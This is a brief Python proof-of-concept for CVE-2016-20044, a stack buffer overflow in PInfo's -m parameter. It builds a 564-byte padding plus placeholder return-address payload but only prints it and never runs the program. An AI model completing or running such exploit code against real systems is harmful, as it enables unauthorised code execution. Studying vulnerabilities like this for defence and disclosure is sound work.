CVE-2016-20044

# PoC for CVE-2016-20044 # Buffer overflow in PInfo -m parameter import sys # Offset to overwrite EIP/RIP is 564 bytes offset = 564 # Placeholder return address (needs specific address based on target) ret_addr = b"\xaf\x11\x40\x00" # Construct payload: padding + return address payload = b"A" * offset + ret_addr try: # Execute PInfo with the malicious argument # Command: pinfo -m <payload> print("[+] Triggering PInfo buffer overflow...") # In a real scenario, this would call subprocess or similar print(f"Payload length: {len(payload)}") except Exception as e: print(f"Error: {e}")

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